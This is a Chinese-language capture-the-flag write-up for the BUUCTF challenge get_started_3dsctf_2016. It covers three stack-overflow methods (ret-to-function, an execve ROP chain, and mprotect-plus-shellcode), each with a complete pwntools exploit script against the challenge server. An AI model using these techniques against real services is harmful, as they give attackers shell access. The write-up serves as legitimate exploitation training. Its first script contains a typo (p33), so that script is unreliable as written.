0x00
最近持续学习栈溢出,努力熟悉各种利用方法,争取这周和下周把栈溢出这块结束
发现自己的WP好久没有更新了,BUUCTF也攒了好多
于是,为了让自己更进一步熟悉栈溢出攻击,温故知新,同时方便自己查找(希望不是浪费时间),WP补完计划,启动!
(我可不是看了孙导的奖励临时起意的)
0x01
IDA分析
``
方法一:传统栈溢出
可以看到main函数并没有ebp,寻址方式是esp寻址
get_flag函数中,在读取flag之前先经过if判断a1 == 814536271 && a2 == 425138641
构造pay时不可以试图跳过这个判断,无法打通
返回地址一定要覆盖为get_flag函数的开始处
在栈上构造get_flag参数
payload = b'a' * 0x38+p32(get_flag_addr)+p32(exit_addr)+p32(a1)+p32(a2)
注意这里的返回地址为exit的地址,打远程时,如果程序是异常退出了,最后是不给你回显的。所以我们得想办法让程序正常退出
EXP1
from pwn import *
context(os = 'linux', arch = 'i386', log_level = 'debug')
#p = process('./get_started_3dsctf_2016')
p = remote('node4.buuoj.cn',25669)
get_flag_addr = 0x080489A0
exit_addr = 0x804E6A0
a1 = 0x308CD64F
a2 = 0x195719D1
payload = b'a' * 0x38+p32(get_flag_addr)+p33(exit_addr)+p32(a1)+p32(a2)
p.sendline(payload)
p.interactive()
0x02
方法二:系统调用
利用ROPgadget找到需要的gadget
pop_eax_ret = 0x080b91e6
pop_edx_ecx_ebx_ret = 0x0806fc30
int80 = 0x0806d7e5
但是没有找到"/bin/sh"字符串,考虑在其他寄存器写入/bin/sh,再赋值给edx
看看有没有类似的mov指令
mov_edx_eax_ret = 0x080557ab
你猜猜我mov_edx_eax_ret怎么找的(裂开)
可以看到,该处指令mov [edx], eax
是将eax寄存器里的值写到eedx所存的地址处[edx],攻击的思路就是讲[edx]地址覆盖为/bin/sh写入地址,并利用eax寄存器将字符串/bin/sh存入。
需要注意的是,该程序没有给出可用的bss段变量,栈空间一般情况下开启ASLR地址随机,所以我们用vmmap查找可读的内存空间作为入/bin/sh的地址
这篇参考的链接,使用0x080eb020 作为存放/bin/sh的地址,但是使用vmmap可以看到没有以这个地址开头或结束的段,而且也不存在可写可执行的段,只有0x80ea000到0x80ec000是可写的文件段(实际上0x080eb020 也在该段中)
补充一下,同时其实我们可以看出来vmmap出来的地址段是没有libc中的内容的,实际上get_started_3dsctf_2016是静态链接
整体的rop流程为,分两次每次四字节将"/bin" "/sh\x00"先存入eax,再利用Pop将edx置为0x80ea000,再利用mov指令将字符串放入该地址指向空间,最后返回系统调用
from pwn import *
local = 0
if local == 1:
io = process('./get_started_3dsctf_2016')
else:
io = remote('node4.buuoj.cn',25878)
pop_eax_ret = 0x080b91e6
pop_edx_ecx_ebx_ret = 0x0806fc30
int80 = 0x0806d7e5
mov_edx_eax_ret = 0x080557ab
w_addr = 0x80ea000#0x080eb020
payload = b'a'*56+p32(pop_eax_ret)+b'/bin'+p32(pop_edx_ecx_ebx_ret)+p32(w_addr)+p32(0)+p32(0)+p32(mov_edx_eax_ret)
payload += p32(pop_eax_ret)+b'/sh\x00'+p32(pop_edx_ecx_ebx_ret)+p32(w_addr+4)+p32(0)+p32(0)+p32(mov_edx_eax_ret)
payload += p32(pop_eax_ret)+p32(0xb)+p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(w_addr)+p32(int80)
io.sendline(payload)
io.interactive()
~
0x03
方法三:mprotect函数修改地址权限
利用mprotect()函数来修改内存权限,一般是将.bss端修改为可读可写可执行,然后通过read()函数向目标内存写入shellcode,然后getshell (因为是静态链接的,所有的函数都会链接到程序,肯定会存在一个mprotect()函数 )
include <sys/mman.h>
int mprotect(void *addr, size_t len, int prot);addr:修改保护属性区域的起始地址,addr必须是一个内存页的起始地址,简而言之为页大小(一般是 4KB == 4096字节)整数倍。
len:被修改保护属性区域的长度,最好为页大小整数倍。修改区域范围[addr, addr+len-1]。
prot:可以取以下几个值,并可以用“|”将几个属性结合起来使用:
1)PROT_READ:内存段可读;
2)PROT_WRITE:内存段可写;
3)PROT_EXEC:内存段可执行;
4)PROT_NONE:内存段不可访问。
返回值:0;成功,-1;失败(并且errno被设置)
1)EACCES:无法设置内存段的保护属性。当通过 mmap(2) 映射一个文件为只读权限时,接着使用 mprotect() 标志为 PROT_WRITE这种情况就会发生。
2)EINVAL:addr不是有效指针,或者不是系统页大小的倍数。
3)ENOMEM:内核内部的结构体无法分配。
这里的参数prot:
r:4
w:2
x:1
我们通过vmmap可以看到0x080ea000到0x080ec000是可读可写但是不可执行的(开了NX保护),所以用mprotect()将这一段修改成可读可写可执行,然后通过read()传shellcode到此处
需要注意的是mprotect指定的内存区间必须包含整个内存页(4K),并且区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍(0x1000=4096)
我们知道32位调用函数不需要寄存器传参,但是我们需要用pop,ret来控制程序运行流程, 用 ROPgadget 随便选一个有三个寄存器加一个ret的gadget
from pwn import *
elf = ELF('./get_started_3dsctf_2016')
sh = remote('node4.buuoj.cn',27364)
#sh = process('./get_started_3dsctf_2016')
context(os = 'linux', arch = 'i386', log_level = 'debug' , endian = 'little') #小端序,linux系统,32位架构,debug
mprotect = 0x0806EC80
buf_addr = 0x80eb000 #要修改的内存页首地址
buf_size = 0x1000 #要修改的内存页大小
buf_prot = 0x7 #要修改的权限
pop_3_ret = 0x08063adb #寄存器传参外加ret返回read函数地址
#0x08063adb : pop edi ; pop esi ; pop ebx ; ret
mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']
read_addr = 0x0806E140
payload = b'a'*0x38
payload += p32(mprotect) #先将返回地址覆盖为mprotect函数地址
payload += p32(pop_3_ret) #通过三个寄存器传参再加上ret返回栈上下一个函数地址
payload += p32(buf_addr) #要修改的内存页首地址
payload += p32(buf_size) #要修改的内存页大小
payload += p32(buf_prot) #要修改的权限
payload += p32(read_addr) #ret返回栈上下一个函数地址为read函数地址
payload += p32(buf_addr) #read函数的返回地址
payload += p32(0) #read函数的第一个参数
payload += p32(buf_addr) #read函数的第二个参数
payload += p32(0x100) #read函数的第三个参数
sh.sendline(payload)
shellcode = asm(shellcraft.sh(),arch='i386',os='linux')
sh.sendline(shellcode) #read函数输入buf_addr的字符串
sh.interactive()
0x04
参考文章
标签:addr,started,3dsctf,ret,地址,pop,p32,2016,payload From: https://www.cnblogs.com/imarch22/p/17589035.html